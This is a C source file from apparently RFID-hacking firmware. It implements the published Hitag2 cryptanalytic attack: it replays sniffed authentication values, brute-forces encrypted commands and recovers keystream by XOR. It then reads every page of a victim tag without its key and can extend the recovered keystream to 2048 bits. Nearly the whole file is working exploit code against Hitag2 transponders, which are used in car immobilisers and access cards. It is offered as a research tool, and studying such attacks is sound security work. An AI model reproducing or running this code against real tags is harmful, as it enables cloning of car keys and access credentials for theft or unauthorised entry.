1 //-----------------------------------------------------------------------------
2 // Kevin Sheldrake <kev@headhacking.com>, Aug 2018
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
10 //-----------------------------------------------------------------------------
11 // hitag2 attack functions
12 //-----------------------------------------------------------------------------
14 #include "hitag2_crypto.h"
15 #include "hitag2crack.h"
17 #define READP0CMD "1100000111"
18 #define ERROR_RESPONSE "F402889C"
20 static const uint8_t Hitag2Sync
[5];
21 static bool CryptoActive
;
22 static Hitag_State Hitag_Crypto_State
;
24 // hitag2_crack implements the first crack algorithm described in the paper,
25 // Gone In 360 Seconds by Verdult, Garcia and Balasch.
26 // response is a multi-line text response containing the 8 pages of the
28 // nrarhex is a string containing hex representations of the 32 bit nR and aR
29 // values (separated by a space) snooped using SNIFF-PWM.
30 bool hitag2_crack(uint8_t *response
, uint8_t *nrarhex
) {
34 uint8_t e_firstcmd
[10];
35 // uint8_t e_page0cmd[10];
40 uint8_t *spaceptr
= NULL
;
42 // get uid as hexstring
43 if (!hitag2_get_uid(uidhex
)) {
44 UserMessage("Cannot get UID\r\n");
48 // convert uid hexstring to binarray
49 hextobinarray(uid
, uidhex
);
51 // convert nR and aR hexstrings to binarray
52 spaceptr
= strchr(nrarhex
, ' ');
54 UserMessage("Please supply a valid nR aR pair\r\n");
59 if (hextobinarray(nrar
, nrarhex
) != 32) {
60 UserMessage("nR is not 32 bits long\r\n");
64 if (hextobinarray(nrar
+ 32, spaceptr
+ 1) != 32) {
65 UserMessage("aR is not 32 bits long\r\n");
69 // find a valid encrypted command
70 if (!hitag2crack_find_valid_e_cmd(e_firstcmd
, nrar
)) {
71 UserMessage("Cannot find a valid encrypted command\r\n");
75 // find the 'read page 0' command and recover key stream
76 if (!hitag2crack_find_e_page0_cmd(keybits
, e_firstcmd
, nrar
, uid
)) {
77 UserMessage("Cannot find encrypted 'read page0' command\r\n");
81 // empty the response string
84 // read all pages using key stream
85 for (i
= 0; i
< 8; i
++) {
86 if (hitag2crack_read_page(pagehex
, i
, nrar
, keybits
)) {
87 sprintf(temp
, "%1d: %s\r\n", i
, pagehex
);
89 sprintf(temp
, "%1d:\r\n", i
);
91 // add page string to response
92 strcat(response
, temp
);
98 // hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
99 // with a different sequential encrypted command value in order to find one
100 // that returns a valid response.
101 // e_cmd is the returned binarray of the valid encrypted command;
102 // nrar is the binarray of the 64 bit nR aR pair.
103 bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd
[], uint8_t nrar
[]) {
105 uint8_t responsestr
[9];
107 // UserMessage("Finding valid encrypted command:");
108 // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
109 // e.g. x x x x x 0 x 0 0 0
110 for (uint8_t a
= 0; a
< 2; a
++) {
111 for (uint8_t b
= 0; b
< 2; b
++) {
112 for (uint8_t c
= 0; c
< 2; c
++) {
113 for (uint8_t d
= 0; d
< 2; d
++) {
114 for (uint8_t e
= 0; e
< 2; e
++) {
115 for (uint8_t g
= 0; g
< 2; g
++) {
129 if (hitag2crack_send_e_cmd(responsestr
, nrar
, guess
, 10)) {
130 // check if it was valid
131 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
132 // return the guess as the encrypted command
133 memcpy(e_cmd
, guess
, 10);
138 UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
148 // UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
152 // hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
153 // valid encrypted command and tests the results by attempting an extended
154 // command version of the command to see if that produces a valid response.
155 // keybits is the returned binarray of the recovered key stream;
156 // e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
157 // e_firstcmd is the binarray of the first valid encrypted command found;
158 // nrar is the binarray of the 64 bit nR aR pair;
159 // uid is the binarray of the 32 bit UID.
160 bool hitag2crack_find_e_page0_cmd(uint8_t keybits
[], uint8_t e_firstcmd
[], uint8_t nrar
[], uint8_t uid
[]) {
163 uint8_t responsestr
[9];
166 UserMessage("Finding 'read page 0' command:");
167 // we're going to brute the missing 4 bits of the valid encrypted command
168 for (a
= 0; a
< 2; a
++) {
169 for (b
= 0; b
< 2; b
++) {
170 for (c
= 0; c
< 2; c
++) {
171 for (d
= 0; d
< 2; d
++) {
172 // create our guess by bit flipping the pattern of bits
173 // representing the inverted bit and the 3 page bits
174 // in both the non-inverted and inverted parts of the
175 // encrypted command.
176 memcpy(guess
, e_firstcmd
, 10);
178 guess
[5] = !guess
[5];
179 guess
[0] = !guess
[0];
182 guess
[7] = !guess
[7];
183 guess
[2] = !guess
[2];
186 guess
[8] = !guess
[8];
187 guess
[3] = !guess
[3];
190 guess
[9] = !guess
[9];
191 guess
[4] = !guess
[4];
195 if (hitag2crack_send_e_cmd(responsestr
, nrar
, guess
, 10)) {
196 // check if it was valid
197 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
198 // convert response to binarray
199 hextobinarray(e_uid
, responsestr
);
200 // test if the guess was 'read page 0' command
201 if (hitag2crack_test_e_p0cmd(keybits
, nrar
, guess
, uid
, e_uid
)) {
207 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
212 UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
220 UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
224 // hitag2crack_test_e_p0cmd XORs the message (command + response) with the
225 // encrypted version to retrieve the key stream. It then uses this key stream
226 // to encrypt an extended version of the READP0CMD and tests if the response
228 // keybits is the returned binarray of the key stream;
229 // nrar is the 64 bit binarray of nR aR pair;
230 // e_cmd is the binarray of the encrypted command;
231 // uid is the binarray of the card UID;
232 // e_uid is the binarray of the encrypted version of the UID.
233 bool hitag2crack_test_e_p0cmd(uint8_t *keybits
, uint8_t *nrar
, uint8_t *e_cmd
, uint8_t *uid
, uint8_t *e_uid
) {
234 uint8_t cipherbits
[42];
235 uint8_t plainbits
[42];
237 uint8_t e_ext_cmd
[40];
238 uint8_t responsestr
[9];
241 // copy encrypted cmd to cipherbits
242 memcpy(cipherbits
, e_cmd
, 10);
244 // copy encrypted uid to cipherbits
245 memcpy(cipherbits
+ 10, e_uid
, 32);
247 // copy cmd to plainbits
248 binstringtobinarray(plainbits
, READP0CMD
);
250 // copy uid to plainbits
251 memcpy(plainbits
+ 10, uid
, 32);
253 // xor the plainbits with the cipherbits to get keybits
254 hitag2crack_xor(keybits
, plainbits
, cipherbits
, 42);
256 // create extended cmd -> 4 * READP0CMD = 40 bits
257 for (i
= 0; i
< 4; i
++) {
258 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
261 // xor extended cmd with keybits
262 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
, 40);
264 // send extended encrypted cmd
265 if (hitag2crack_send_e_cmd(responsestr
, nrar
, e_ext_cmd
, 40)) {
266 // test if it was valid
267 if (strcmp(responsestr
, ERROR_RESPONSE
) != 0) {
272 UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
280 // hitag2crack_xor XORs the source with the pad to produce the target.
281 // source, target and pad are binarrays of length len.
282 void hitag2crack_xor(uint8_t *target
, uint8_t *source
, uint8_t *pad
, unsigned int len
) {
284 for (int i
= 0; i
< len
; i
++) {
285 target
[i
] = source
[i
] ^ pad
[i
];
289 // hitag2crack_read_page uses the supplied key stream and nrar pair to read the
290 // given page, returning the response as a hexstring.
291 // responsestr is the returned hexstring;
292 // pagenum is the page number to read;
293 // nrar is the 64 bit binarray of the nR aR pair;
294 // keybits is the binarray of the key stream.
295 bool hitag2crack_read_page(uint8_t *responsestr
, uint8_t pagenum
, uint8_t *nrar
, uint8_t *keybits
) {
298 uint8_t e_responsestr
[9];
299 uint8_t e_response
[32];
300 uint8_t response
[32];
303 UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
308 binstringtobinarray(cmd
, READP0CMD
);
323 hitag2crack_xor(e_cmd
, cmd
, keybits
, 10);
325 // send encrypted command
326 if (hitag2crack_send_e_cmd(e_responsestr
, nrar
, e_cmd
, 10)) {
327 // check if it is valid
328 if (strcmp(e_responsestr
, ERROR_RESPONSE
) != 0) {
329 // convert to binarray
330 hextobinarray(e_response
, e_responsestr
);
332 hitag2crack_xor(response
, e_response
, keybits
+ 10, 32);
333 // convert to hexstring
334 binarraytohex(responsestr
, response
, 32);
337 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
340 UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
346 // hitag2crack_send_e_cmd replays the auth and sends the given encrypted
348 // responsestr is the hexstring of the response to the command;
349 // nrar is the 64 bit binarray of the nR aR pair;
350 // cmd is the binarray of the encrypted command to send;
351 // len is the length of the encrypted command.
352 bool hitag2crack_send_e_cmd(uint8_t *responsestr
, uint8_t *nrar
, uint8_t *cmd
, int len
) {
355 uint8_t e_page3str
[9];
358 if (!hitag2_get_uid(uid
)) {
359 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
363 // START_AUTH kills active crypto session
364 CryptoActive
= false;
367 if (!hitag2_get_uid(uid
)) {
368 UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
372 // send nrar and receive (useless) encrypted page 3 value
373 if (!hitag2crack_tx_rx(e_page3str
, nrar
, 64, RWD_STATE_WAKING
, false)) {
374 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
378 // send encrypted command
379 if (!hitag2crack_tx_rx(responsestr
, cmd
, len
, RWD_STATE_WAKING
, false)) {
381 UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
389 // hitag2crack_tx_rx transmits a message and receives a response.
390 // responsestr is the hexstring of the response;
391 // msg is the binarray of the message to send;
392 // state is the RWD state;
393 // reset indicates whether to reset RWD state after.
394 bool hitag2crack_tx_rx(uint8_t *responsestr
, uint8_t *msg
, int len
, int state
, bool reset
) {
398 // START_AUTH kills active crypto session
399 CryptoActive
= false;
401 if (!rwd_send(msg
, len
, reset
, BLOCK
, state
, RFIDlerConfig
.FrameClock
, 0, RFIDlerConfig
.RWD_Wait_Switch_RX_TX
, RFIDlerConfig
.RWD_Zero_Period
, RFIDlerConfig
.RWD_One_Period
, RFIDlerConfig
.RWD_Gap_Period
, RFIDlerConfig
.RWD_Wait_Switch_TX_RX
)) {
402 UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
406 // skip 1/2 bit to synchronise manchester
408 ret
= read_ask_data(RFIDlerConfig
.FrameClock
, RFIDlerConfig
.DataRate
, tmp
, 37, RFIDlerConfig
.Sync
, RFIDlerConfig
.SyncBits
, RFIDlerConfig
.Timeout
, ONESHOT_READ
, BINARY
);
410 // check if response was a valid length (5 sync bits + 32 bits response)
413 if (memcmp(tmp
, Hitag2Sync
, 5) != 0) {
414 UserMessage("hitag2crack_tx_rx: no sync\r\n");
418 // convert response to hexstring
419 binarraytohex(responsestr
, tmp
+ 5, 32);
423 UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
431 bool hitag2crack_rng_init(uint8_t *response
, uint8_t *input
) {
438 // extract vals from input
440 spaceptr
= strchr(dataptr
, ' ');
442 UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
448 if (strlen(dataptr
) != 12) {
449 UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
453 sharedkey
= rev64(hexreversetoulonglong(dataptr
));
455 dataptr
= spaceptr
+ 1;
456 spaceptr
= strchr(dataptr
, ' ');
458 UserMessage("/r/nno UID\r\n");
463 if (strlen(dataptr
) != 8) {
464 UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
468 serialnum
= rev32(hexreversetoulong(dataptr
));
470 dataptr
= spaceptr
+ 1;
472 if (strlen(dataptr
) != 8) {
473 UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
477 initvector
= rev32(hexreversetoulong(dataptr
));
479 // start up crypto engine
480 hitag2_init(&Hitag_Crypto_State
, sharedkey
, serialnum
, initvector
);
482 strcpy(response
, "Success\r\n");
487 bool hitag2crack_decrypt_hex(uint8_t *response
, uint8_t *hex
) {
493 if (strlen(hex
) != 8) {
494 UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
498 binulong
= hextoulong(hex
);
500 ulongtobinarray(bin
, hitag2_crypt(binulong
, 32), 32);
501 binarraytobinstring(binstr
, bin
, 32);
502 binarraytohex(binhex
, bin
, 32);
503 // UserMessage("ar = %s\r\n", binstr);
504 // UserMessage("arhex = %s\r\n", binhex);
506 strcpy(response
, binhex
);
510 bool hitag2crack_decrypt_bin(uint8_t *response
, uint8_t *e_binstr
) {
517 len
= strlen(e_binstr
);
519 UserMessage("\r\nbinary string must be <= 32 bits\r\n");
523 binstringtobinarray(e_bin
, e_binstr
);
524 binulong
= binarraytoulong(e_bin
, len
);
526 ulongtobinarray(bin
, hitag2_crypt(binulong
, len
), len
);
527 binarraytobinstring(binstr
, bin
, len
);
528 strcpy(response
, binstr
);
532 bool hitag2crack_encrypt_hex(uint8_t *response
, uint8_t *hex
) {
533 // XOR pad so encrypt == decrypt :)
534 return hitag2crack_decrypt_hex(response
, hex
);
537 bool hitag2crack_encrypt_bin(uint8_t *response
, uint8_t *e_binstr
) {
538 return hitag2crack_decrypt_bin(response
, e_binstr
);
541 // hitag2_keystream uses the first crack algorithm described in the paper,
542 // Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
544 // response is a multi-line text response containing the hex of the keystream;
545 // nrarhex is a string containing hex representations of the 32 bit nR and aR
546 // values (separated by a space) snooped using SNIFF-PWM.
547 bool hitag2_keystream(uint8_t *response
, uint8_t *nrarhex
) {
551 uint8_t e_firstcmd
[10];
552 // uint8_t e_page0cmd[10];
553 // uint8_t keybits[2080];
554 uint8_t *keybits
= DataBuff
;
555 uint8_t keybitshex
[67];
558 // uint8_t pagehex[9];
561 uint8_t *spaceptr
= NULL
;
564 keybits = malloc(2080);
566 UserMessage("cannot malloc keybits\r\n");
571 // get uid as hexstring
572 if (!hitag2_get_uid(uidhex
)) {
573 UserMessage("Cannot get UID\r\n");
577 // convert uid hexstring to binarray
578 hextobinarray(uid
, uidhex
);
580 // convert nR and aR hexstrings to binarray
581 spaceptr
= strchr(nrarhex
, ' ');
583 UserMessage("Please supply a valid nR aR pair\r\n");
588 if (hextobinarray(nrar
, nrarhex
) != 32) {
589 UserMessage("nR is not 32 bits long\r\n");
593 if (hextobinarray(nrar
+ 32, spaceptr
+ 1) != 32) {
594 UserMessage("aR is not 32 bits long\r\n");
598 // find a valid encrypted command
599 if (!hitag2crack_find_valid_e_cmd(e_firstcmd
, nrar
)) {
600 UserMessage("Cannot find a valid encrypted command\r\n");
604 // find the 'read page 0' command and recover key stream
605 if (!hitag2crack_find_e_page0_cmd(keybits
, e_firstcmd
, nrar
, uid
)) {
606 UserMessage("Cannot find encrypted 'read page0' command\r\n");
610 // using the 40 bits of keystream in keybits, sending commands with ever
611 // increasing lengths to acquire 2048 bits of key stream.
614 while (kslen
< 2048) {
616 if (!hitag2crack_send_auth(nrar
)) {
617 UserMessage("hitag2crack_send_auth failed\r\n");
620 // while we have at least 52 bits of keystream, consume it with
621 // extended read page 0 commands. 52 = 10 (min command len) +
622 // 32 (response) + 10 (min command len we'll send)
623 while ((kslen
- ksoffset
) >= 52) {
624 // consume the keystream, updating ksoffset as we go
625 if (!hitag2crack_consume_keystream(keybits
, kslen
, &ksoffset
, nrar
)) {
626 UserMessage("hitag2crack_consume_keystream failed\r\n");
630 // send an extended command to retrieve more keystream, updating kslen
632 if (!hitag2crack_extend_keystream(keybits
, &kslen
, ksoffset
, nrar
, uid
)) {
633 UserMessage("hitag2crack_extend_keystream failed\r\n");
636 UserMessage("Recovered %d bits of keystream\r\n", kslen
);
640 for (i
= 0; i
< 2048; i
+= 256) {
641 binarraytohex(keybitshex
, keybits
+ i
, 256);
642 UserMessage("%s\r\n", keybitshex
);
650 // hitag2crack_send_auth replays the auth and returns.
651 // nrar is the 64 bit binarray of the nR aR pair;
652 bool hitag2crack_send_auth(uint8_t *nrar
) {
654 uint8_t e_page3str
[9];
657 if (!hitag2_get_uid(uid
)) {
658 UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
662 // START_AUTH kills active crypto session
663 CryptoActive
= false;
666 if (!hitag2_get_uid(uid
)) {
667 UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
671 // send nrar and receive (useless) encrypted page 3 value
672 if (!hitag2crack_tx_rx(e_page3str
, nrar
, 64, RWD_STATE_WAKING
, false)) {
673 UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
679 // hitag2crack_consume_keystream sends an extended command (up to 510 bits in
680 // length) to consume keystream.
681 // keybits is the binarray of keystream bits;
682 // kslen is the length of keystream;
683 // ksoffset is a pointer to the current keystream offset (updated by this fn);
684 // nrar is the 64 bit binarray of the nR aR pair.
685 bool hitag2crack_consume_keystream(uint8_t *keybits
, int kslen
, int *ksoffset
, uint8_t *nrar
) {
689 uint8_t ext_cmd
[510];
690 uint8_t e_ext_cmd
[510];
691 uint8_t responsestr
[9];
693 // calculate the length of keybits to consume with the extended command.
694 // 42 = 32 bit response + 10 bit command reserved for next command. conlen
695 // cannot be longer than 510 bits to fit into the small RWD buffer.
696 conlen
= kslen
- *ksoffset
- 42;
698 UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
707 // calculate how many repeated commands to send in this extended command.
708 numcmds
= conlen
/ 10;
710 // build extended command
711 for (i
= 0; i
< numcmds
; i
++) {
712 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
715 // xor extended cmd with keybits
716 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
+ *ksoffset
, numcmds
* 10);
718 // send encrypted command
719 if (!hitag2crack_tx_rx(responsestr
, e_ext_cmd
, numcmds
* 10, RWD_STATE_WAKING
, false)) {
720 UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
725 if (strcmp(responsestr
, ERROR_RESPONSE
) == 0) {
726 UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
730 // dont bother decrypting the response - we already know the keybits
732 // update ksoffset with command length and response
733 *ksoffset
+= (numcmds
* 10) + 32;
736 // hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
737 // keybits is the binarray of the keystream bits;
738 // kslen is a pointer to the current keybits length;
739 // ksoffset is the offset into the keybits array;
740 // nrar is the 64 bit binarray of the nR aR pair;
741 // uid is the 32 bit binarray of the UID.
742 bool hitag2crack_extend_keystream(uint8_t *keybits
, int *kslen
, int ksoffset
, uint8_t *nrar
, uint8_t *uid
) {
745 uint8_t ext_cmd
[510];
746 uint8_t e_ext_cmd
[510];
747 uint8_t responsestr
[9];
748 uint8_t e_response
[32];
751 // calc number of command iterations to send
752 cmdlen
= *kslen
- ksoffset
;
754 UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
758 numcmds
= cmdlen
/ 10;
760 // build extended command
761 for (i
= 0; i
< numcmds
; i
++) {
762 binstringtobinarray(ext_cmd
+ (i
* 10), READP0CMD
);
765 // xor extended cmd with keybits
766 hitag2crack_xor(e_ext_cmd
, ext_cmd
, keybits
+ ksoffset
, numcmds
* 10);
768 // send extended encrypted cmd
769 if (!hitag2crack_tx_rx(responsestr
, e_ext_cmd
, numcmds
* 10, RWD_STATE_WAKING
, false)) {
770 UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
775 if (strcmp(responsestr
, ERROR_RESPONSE
) == 0) {
776 UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
780 // convert response to binarray
781 hextobinarray(e_response
, responsestr
);
783 // recover keystream from encrypted response
784 hitag2crack_xor(keybits
+ ksoffset
+ (numcmds
* 10), e_response
, uid
, 32);
787 *kslen
= ksoffset
+ (numcmds
* 10) + 32;
793 bool hitag2_reader(uint8_t *response
, uint8_t *key
, bool interactive
) {
799 if (hitag2_crypto_auth(tmp
, key
)) {
800 // read tag, one page at a time
801 for (i
= 0; i
<= 7; ++i
) {
802 if (!read_tag(tmp
, i
, i
)) {
803 // if read fails, it could be because of auth,
805 if (!hitag2_crypto_auth(tmp
, key
)) {
806 // if we can't reauth, it's a real failure
809 // temp failure (probably due to page protections)
810 strcpy(tmp
, "XXXXXXXX");
812 // page contents are in tmp
813 strcat(response
, tmp
);
818 for (i
= 0; i
<= 7 ; ++i
) {
819 UserMessageNum("%d: ", i
);
820 memcpy(tmp
, response
+ (i
* 8), 8);
821 UserMessage("%s\r\n", tmp
);
823 UserMessage("%s", "\r\n");
825 hitag2_nvm_store_tag(response
);